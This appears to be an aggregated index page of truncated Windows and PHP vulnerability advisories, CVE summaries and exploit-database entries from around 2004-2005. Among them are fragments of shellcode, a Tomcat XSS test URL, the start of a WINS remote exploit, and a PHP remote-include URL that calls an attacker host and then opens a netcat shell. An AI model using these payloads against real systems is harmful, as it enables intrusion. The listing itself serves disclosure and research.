Microsoft OLE Remote Buffer Overflow Vulnerability

Description Microsoft OLE is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to perform boundary checks before copying user-supplied data to sensitive process buffers. A remote attacker may leverage this vulnerability to execute arbitrary...

Microsoft Security Bulletin MS05-004 ASP.NET Path Validation Vulnerability (887219)

Microsoft Security Bulletin MS05-004 ASP.NET Path Validation Vulnerability 887219 Issued: February 8, 2005 Version: 1.0 Summary Who should read this document: Customers who use Microsoft® Windows® .NET Framework Impact of Vulnerability: Information Disclosure, possible Elevation of Privilege...

Microsoft IIS 5.0 - .printer ISAPI Extension Buffer Overflow (3)

Microsoft IIS 5.0 - .printer ISAPI Extension Buffer Overflow 3 / source: https://www.securityfocus.com/bid/2674/info Windows 2000 Internet printing ISAPI extension contains msw3prt.dll which handles user requests. Due to an unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .printer...

Microsoft IIS 5.0 - '.printer' ISAPI Extension Buffer Overflow (3)

/ source: https://www.securityfocus.com/bid/2674/info Windows 2000 Internet printing ISAPI extension contains msw3prt.dll which handles user requests. Due to an unchecked buffer in msw3prt.dll, a maliciously crafted HTTP .printer request containing approx 420 bytes in the 'Host:' field will allow...

Windows 9x/NT/2k/XP PEB method 31 bytes

Windows 9x/NT/2k/XP PEB method 31 bytes. Shellcode exploit for win32 platform / 004045F4 6A 30 PUSH 30 004045F6 59 POP ECX 004045F7 64:8B09 MOV ECX,DWORD PTR FS:ECX 004045FA 85C9 TEST ECX,ECX 004045FC 78 0C JS SHORT OllyTest.0040460A 004045FE 8B49 0C MOV ECX,DWORD PTR DS:ECX+C 00404601 8B71 1C MO...

CVE-2004-1361

The CVE-2004-1361 issue affects Microsoft Windows where winhlp32.exe parses help files (.hlp). Affected: Windows NT, Windows 2000 (SP4), Windows XP (SP2), Windows 2003; vulnerability arises from an integer/length miscalculation in handling .hlp content, causing a heap-based buffer overflow. Conse...

IE HHCTRL exploit still usable even after patch

Hi everybody. Just wanted to point out that the patch Microsoft released to take care of the HHCTRL.OCX vulnerability MS05-001 is fixing just part of the problem. At least Windows XP Service Pack 1 and Windows 2000 Service Pack 4 are still vulnerable to exploiting the HHCTRL vulnerability, by usi...

iis_w3who_overflow.pm

This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artistic. The latest version of the...

wins_ms04_045.pm

This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artistic. The latest version of the...

Microsoft Windows Indexing Service Buffer Overflow Vulnerability

Description Microsoft Indexing Service is reported prone to a buffer overflow vulnerability. This issue results from insufficient boundary checks performed by the application when copying user-supplied data in to sensitive process buffers. A remote or local attacker may execute arbitrary code on ...

CVE-2004-1080

The WINS service wins.exe on Microsoft Windows NT Server 4.0, Windows 2000 Server, and Windows Server 2003 allows remote attackers to write to arbitrary memory locations and possibly execute arbitrary code via a modified memory pointer in a WINS replication packet to TCP port 42, aka the...

jakarta556_xss.txt

Apache Jakarta Tomcat Cross Site Scripting Vulnerabilities =========================================================== Version ======== Apache Tomcat/5.5.6 running on Windows 2000 Other platforms may also be affected Exploiting =========== http://192.168.0.23:8080/manager/html/alert"Hallo"...

MS Windows 2000 WINS Remote Code Execution Exploit

Exploit for unknown platform in category remote exploits ================================================== MS Windows 2000 WINS Remote Code Execution Exploit ================================================== // / ZUCWins 0.1 - Wins 2000 remote root exploit / / Exploit by: zuc / / works on Windo...

PT-2004-3233 · Microsoft · Windows

Name of the Vulnerable Software and Affected Versions: Microsoft Windows versions 2000, XP, and possibly 2003 Description: The issue allows local users with the SeDebugPrivilege privilege to execute arbitrary code as kernel and read or write kernel memory via the NtSystemDebugControl function,...

Microsoft Windows Server 2000 - WINS Remote Code Execution

// / ZUCWins 0.1 - Wins 2000 remote root exploit / / Exploit by: zuc / / works on Windows 2000 SP3/SP4 probably every language / // include include include include include include include include include include include include include include include include char shellcode =...

Microsoft Windows Server 2000 - WINS Remote Code Execution

Microsoft Windows Server 2000 - WINS Remote Code Execution // / ZUCWins 0.1 - Wins 2000 remote root exploit / / Exploit by: zuc / / works on Windows 2000 SP3/SP4 probably every language / // include include include include include include include include include include include include include...

PHP <= 4.3.7 openlog() Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================== PHP http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt BOOM.... netcat www.vulnerable.box 65535 Microsoft Windows 2000 versie 5.00.2195 C Copyright 1985-2000...

PHP 4.3.7 - 'openlog()' Remote Buffer Overflow

http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt BOOM.... netcat www.vulnerable.box 65535 Microsoft Windows 2000 versie 5.00.2195 C Copyright 1985-2000 Microsoft Corp. C:\Program Files\Apache Group\Apache2 --- Getting a shell is better then parsing commands to t...

PHP 4.3.7 - openlog() Remote Buffer Overflow

PHP 4.3.7 - openlog Remote Buffer Overflow http://www.vulnerable.box/remincl.php?page=http://3v1l.h4x0r.b0x/tooopenlog.php.txt BOOM.... netcat www.vulnerable.box 65535 Microsoft Windows 2000 versie 5.00.2195 C Copyright 1985-2000 Microsoft Corp. C:\Program Files\Apache Group\Apache2 --- Getting a...

CVE-2004-0893

The Local Procedure Call LPC interface of the Windows Kernel for Windows NT 4.0, Windows 2000, Windows XP, and Windows Server 2003 does not properly validate the lengths of messages sent to the LPC port, which allows local users to gain privileges, aka "Windows Kernel Vulnerability."...